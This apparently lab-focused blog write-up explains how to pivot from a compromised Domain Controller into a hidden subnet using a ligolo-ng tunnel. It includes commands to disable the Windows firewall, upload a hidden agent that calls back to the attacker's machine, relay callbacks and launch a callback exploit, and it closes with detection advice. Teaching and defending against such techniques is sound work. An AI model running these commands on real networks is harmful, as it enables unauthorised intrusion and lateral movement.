July 31, 2026
Cetro, Part 2: Pivoting and Network Tunnels with ligolo-ng
Gerardo Eliasib
CEO of Spartan-Cybersecurity

In Part 1 you took Cetro's Domain Controller with Zerologon and landed an evil-winrm session as Administrator. Game over, right?
No. Cetro has a second face.
From that DC there's a whole network segment —Stage 2— your attacking machine can't even reach. The targets that score points live in there, behind a network boundary. And to cross it another exploit won't help you: understanding how packets travel will.
This is the part that separates someone who "solves boxes" from someone who understands networks.
The problem: a network you can't see
Serious corporate networks aren't flat. They're segmented: split into isolated subnets so that compromising one zone doesn't hand you the rest. An exposed web server lives in one subnet; databases and internal systems live in another, reachable only from inside.
Cetro sits on the edge. It has one foot in the segment you reach (Stage 1) and another in the hidden segment (Stage 2, let's say 10.10.20.0/24). Your Kali, on the other hand, only sees the first.
If you try to scan the internal network directly, nothing happens — literally. Your packets have no route there:
nmap 10.10.20.0/24
# Host seems down. (no route from your Kali)It's not a firewall blocking you. It's worse and simpler: as far as your Kali is concerned, that network doesn't exist. There's no interface to send those packets out of.
Pivoting 101: turning the DC into your bridge
The solution is called pivoting: using a machine you already control —and that does touch both networks— as a bridge to what you can't reach. Cetro is the perfect candidate: it's your compromised DC and it talks to both subnets.
There are three classic ways to build that bridge, from least to most powerful:
- Port forwarding — you redirect a single port. Good for one specific service, nothing more.
- SOCKS proxy — you tunnel TCP connections through a proxy. Flexible, but you have to "socksify" every tool (proxychains) and it handles ICMP and UDP poorly.
- Network-level (L3) tunnel — you bring up a virtual interface and route the remote subnet through the pivot. All your tools work natively, no wrappers. Transparent.
For Cetro we go with the third, the cleanest, using the tool that's become the standard: ligolo-ng.
ligolo-ng: a network-level tunnel
ligolo-ng has two pieces. The proxy runs on your Kali and creates a virtual network interface (a TUN). The agent runs on the compromised machine —Cetro— and connects back to your proxy. Between them they open a tunnel that carries raw IP traffic.
The elegant part: when you route the Stage 2 subnet toward that TUN interface, your operating system believes the internal network is one hop away. An nmap, a curl, any exploit travel transparently through Cetro without you configuring a thing in the tool.
On your Kali, you create the TUN interface (once) and start the proxy:
sudo ip tuntap add user $USER mode tun ligolo
sudo ip link set ligolo up
./ligolo-proxy -selfcert -laddr 0.0.0.0:11601Uploading the agent without RDP
Now you need to run the agent inside Cetro. And here's the practical twist versus other tasks: Cetro is a Domain Controller with no comfortable desktop — you won't use RDP or certutil. You already have something better: your evil-winrm session from Part 1.
evil-winrm ships with a built-in upload command. From that same session, you turn off the Windows firewall, upload the agent binary and launch it in the background, hidden:
*Evil-WinRM* PS> netsh advfirewall set allprofiles state off
*Evil-WinRM* PS> upload /local/path/agent.exe C:\Users\Public\agent.exe
*Evil-WinRM* PS> Start-Process C:\Users\Public\agent.exe -ArgumentList '-connect','10.10.3.10:11601','-ignore-cert' -WindowStyle HiddenNotice the -connect 10.10.3.10:11601: the agent connects back to your Kali. In a segmented environment it's almost always the victim that calls the attacker, not the other way around — hold that thought, it's the key to the next section.
Back on the proxy, you select the incoming session, bring up the tunnel over the ligolo interface, and create the listeners that will relay callbacks to your Kali's loopback:
ligolo-ng » session
[Agent : Administrator@DC01] » start --tun ligolo
[Agent : Administrator@DC01] » listener_add --addr 0.0.0.0:8081 --to 127.0.0.1:8081 --tcp
[Agent : Administrator@DC01] » listener_add --addr 0.0.0.0:9001 --to 127.0.0.1:9001 --tcpAnd you add the route to Stage 2 on your Kali:
sudo ip route add 10.10.20.0/24 dev ligoloFrom here on, any packet you send to 10.10.20.x leaves through the ligolo interface, crosses the tunnel, and Cetro reinjects it into the internal network as if it came from itself. You can see the hidden network now.
The ghost of asymmetric routing
This is where half the class crashes, and where you truly learn how networks work.
Enumerating internal targets with nmap or curl works on the first try. But the moment you fire an exploit with a callback —a Log4Shell, a deserializer, anything that forces the victim to connect back to you— everything breaks. The shell never lands. And there's no obvious error.
The cause is asymmetric routing, and understanding it is a level-up.
Think about the outbound path and the return path separately. When an exploit has a callback, you tell the internal victim which IP to connect to in order to give you the shell. The instinct is to put your Kali's IP. Wrong.
- Outbound: the internal victim sends the
SYNtoward your Kali. Since your Kali routed10.10.20.0/24throughdev ligolo, the reply (SYN-ACK) leaves through the tunnel. - Return: but the victim expected that reply on its normal network route, not through the ligolo tunnel. It receives a packet that fits no connection it thinks it has and answers with a
RST. Connection aborted.
Traffic came in one way and left another. That's asymmetric routing, and modern TCP stacks reject it.
The fix is counterintuitive but elegant:
On exploits with a callback, point at the pivot's IP (Cetro), never at your Kali directly.
python3 poc.py --userip 10.10.10.100 --webport 8081 --lport 9001By pointing at 10.10.10.100 (Cetro), the victim connects to a neighbor on its own network — a symmetric, natural path for it. The ligolo agent listens there (thanks to the listener_add you created), captures that callback and relays it through the tunnel to your Kali's 127.0.0.1, where your listener waits. The shell lands. No asymmetric routing, no RST.
An operational note that saves hours: if you reuse the ligolo interface after a stop or an agent_disconnect of a previous agent, the route to Stage 2 is gone because the TUN closed when the tunnel stopped. Re-add it with sudo ip route add 10.10.20.0/24 dev ligolo after each new start --tun ligolo.
The other side: detecting the pivot
A pivot through a Domain Controller is as powerful as it is loud — if the defender looks in the right places. Think like the blue team:
- A DC shouldn't initiate strange outbound connections. A Domain Controller reaching out over a high port (11601) to an unknown IP is a huge anomaly. Egress filtering —controlling what's allowed out, not just what's allowed in— would have killed the agent on the spot.
- New listening ports. The
listener_addcalls open ports that DC never had. A port inventory or a decent EDR notices. - An unknown binary running from `C:\Users\Public`.
agent.exeis part of no Windows install. Application whitelisting and EDR exist for exactly this. - The disabled firewall. That
netsh advfirewall set allprofiles state offgenerates an event a SOC should alert on immediately.
The defensive lesson is twofold: segmenting stops the attacker at the edge, but only if you also monitor traffic between segments and treat any outbound connection from a DC as guilty until proven innocent.
From box to mindset
Cetro teaches you two worlds in a single task. In Part 1, how a crypto flaw hands over an entire domain. In this one, how you cross a network boundary that "doesn't exist" for your machine — and why packets, not tools, are in charge.
When you understand that a callback exploit fails because of where the packet returns and not because of the exploit itself, you stopped solving challenges. You started thinking like an operator.
And that's exactly what we build, task by task, in the CPPJ.
Related articles

July 29, 2026
Imprenta: From Anonymous FTP to Root, Without a Single Exploit
No CVE, no 0-day, no brute force. Just secrets left where they shouldn't be. We take apart Imprenta's full chain (CPPJ): anonymous FTP, WordPress, an SSH key and sudo.

July 28, 2026
Fortaleza: Five Clicks to SYSTEM from the Lock Screen
No exploit, no shellcode, no password. Just clicks on a certificate warning. We dissect CVE-2017-7344 on Fortaleza (CPPJ) and the class of bug that makes it possible.